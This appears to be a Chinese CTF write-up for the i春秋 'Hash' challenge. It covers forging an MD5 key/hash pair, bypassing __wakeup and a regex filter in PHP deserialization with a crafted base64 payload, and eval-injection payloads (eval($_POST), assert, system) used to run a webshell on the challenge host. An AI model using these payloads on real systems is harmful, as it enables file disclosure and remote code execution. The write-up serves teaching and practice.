前言

涉及知识点:反序列化、代码执行、命令执行

题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用

或者利用本文章提供的源码自主复现

[i春秋]“百度杯”CTF比赛 十月场-Hash

点击hahaha进入下一个页面

进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag

我们分析URL key部分有个123 我们替换成122试试 试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现

http://地址/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb

md5解密那个hash=kkkkkk01123  根据直觉把后三位替换成和我们key一致的 替换后hash=kkkkkk01122 然后cmd5把hash的值加密 重新组合url提交

//修改key hash的
payload:
http://地址/index.php?key=122&hash=e1ebb04a0a78afe23e2d542e72a25005

获得新的页面访问去。

访问获得这个页面的源码

 1  <?php
2 class Demo {
3 private $file = 'Gu3ss_m3_h2h2.php';
4
5 public function __construct($file) {
6 $this->file = $file;
7 }
8
9 function __destruct() {
10 echo @highlight_file($this->file, true);
11 }
12
13 function __wakeup() {
14 if ($this->file != 'Gu3ss_m3_h2h2.php') {
15 //the secret is in the f15g_1s_here.php
16 $this->file = 'Gu3ss_m3_h2h2.php';
17 }
18 }
19 }
20
21 if (isset($_GET['var'])) {
22 $var = base64_decode($_GET['var']);
23 if (preg_match('/[oc]:\d+:/i', $var)) {
24 die('stop hacking!');
25 } else {
26
27 @unserialize($var);
28 }
29 } else {
30 highlight_file("Gu3ss_m3_h2h2.php");
31 }
32 ?>

通过分析又发现了新的页面下一步我们就是要通过这个存在序列化漏洞的页面构造语法来获取the f15g_1s_here.php的源码。

1.绕过_wakeup()这个函数 因为我们在反序列化时会判断这个函数是否存在如果存在就执行替换成下面的页面 所以我们要阻止它运行

绕过_wakeup参考:https://www.cnblogs.com/xhds/p/12243760.html

2.绕过过滤 首先这里是get接受之后进行base64的解码 有解码那我们构造后就要编码 ,然后正则表达式判断符不符合它们的条件 如果不符合则就能正常的执行unserialize()函数进行反序列化了

构造的序列化代码

$obj=new Demo('f15g_1s_here.php');
$s=serialize($obj);
$s=str_replace("4","+4",$s);
$s=str_replace(":1:",":8:",$s);
echo base64_encode($s);

序列化的payload:

http://URL/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

访问得到 f15g_1s_here.php 页面的源码

 <?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
} ?>

构造代码执行的语法

第一个方法:

最终payload:

 http://eb85579d4d4149dd98fd95b033fde549c66f85c255ba4225.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[0])}

菜刀连接获得flag

第二个方法:

payload:

http://eb85579d4d4149dd98fd95b033fde549c66f85c255ba4225.changame.ichunqiu.com/f15g_1s_here.php?val=${${system(ls)}}

第三种方法:

菜刀连接payload:

http://453467cea6b64556860e3339a9908319758cf61d8e1942f2.changame.ichunqiu.com/f15g_1s_here.php?val=${${assert($_POST[1])}}

http://eb85579d4d4149dd98fd95b033fde549c66f85c255ba4225.changame.ichunqiu.com/f15g_1s_here.php?val=${${system(ls)}}

[i春秋]“百度杯”CTF比赛 十月场-Hash的更多相关文章

  1. i春秋 百度杯”CTF比赛 十月场 login

    出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...

  2. i春秋-“百度杯”CTF比赛 十月场-Login

    源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西   //  CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了..   分析了半天 后来看了别人的 ...

  3. i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

    0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们 ...

  4. i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)

    查看源码得知由vim编写,所以查找备份以及交换文件 找到 /.index.php.swp ,下载后用vim -r恢复该文件即可得到源码 1 <html> 2 <head> 3 ...

  5. i春秋——“百度杯”CTF比赛 十月场——Not Found(http请求方法,client-ip伪造ip)

    这道题也是让我很迷... 打开就是not found,让我一度以为是服务器挂了,细看发现有个404.php 访问也没发现什么东西,只有来自出题人的嘲讽 haha~ 不过在首页的header中发现个奇怪 ...

  6. i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

    需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...

  7. i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)

    打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>" ...

  8. i春秋——“百度杯”CTF比赛 十月场——Login

    根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 <?php inc ...

  9. i春秋“百度杯”CTF比赛 十月场-Vld(单引号逃逸+报错注入)

    题目源代码给出了提示index.php.txt,打开拿到了一段看不太懂得东西. 图片标注的有flag1,flag2,flag3,同时还有三段字符,然后还出现了_GET,脑洞一一点想到访问 ?flag1 ...

随机推荐

  1. frp 内网穿透远程桌面(Windows 10)配置

    一.服务端配置 服务端需要公网环境,一般用一台云服务器就行了,我选择的是 Linux 服务器,Windows 服务器也是可以的. 下载 frp: wget https://github.com/fat ...

  2. C++学习---顺序表的构建及操作

    #include<iostream> #include<fstream> using namespace std; #define MAXLEN 100 //定义顺序表 str ...

  3. django—ORM相关

    常用的QuerySet方法 1.all() 查询表中所有数据,返回一个QuerySet对象列表 2.filter() 查询满足条件的数据,返回一个QuerySet对象列表 3.get() 查询指定的数 ...

  4. 小白也能看懂的JVM内存区域

    前言 最近在准备面试题刷到了JVM这块,作为一个小白,巩固知识点最好的方式就是亲手写出来并分享:相信我的理解,同样是小白的你,一定有很大的帮助.不信,请你往下看! JVM内存区域简介 如果有人问Jav ...

  5. Spring Boot 学习摘要--关于日志框架

    date: 2020-01-05 16:20:00 updated: 2020-01-08 15:50:00 Spring Boot 学习摘要--关于日志框架 学习教程来自:B站 尚硅谷 1. 关于日 ...

  6. zookeeper在Dubbo中角色与作用

    作者:倪炜链接:http://www.zhihu.com/question/25070185/answer/86166486来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处 ...

  7. 使用 tabindex 配合 focus-within 巧妙实现父选择器

    本文将介绍一个不太实用的小技巧,使用 tabindex 配合 :focus-within 巧妙实现父选择器. CSS 中是否存在父选择器? 这是一个非常经典的问题,到目前为止,CSS 没有真正意义上被 ...

  8. Pytest里面的测试用例怎么进行前置准备和后置清理操作?

    Pytest处理前置后置有两种方式可以处理. 第一种是通过setup和teardown这样的方法去处理: 第二种是通过fixture来实现的.首先先定义fixture,然后在调用.定义fixture, ...

  9. vue封装tab切换

    vue封装tab切换 预览: 第一种 通过父传子标题,子传父事件 子组件 <template> <div class='app'> <div class="ta ...

  10. python使用zlib库压缩图片,使用ffmpeg压缩视频

    python压缩图片.视频 图片压缩使用zlib库 视频压缩使用工具ffmpeg # ffmpeg -i 1.mp4 -r 10 -pix_fmt yuv420p -vcodec libx264 -p ...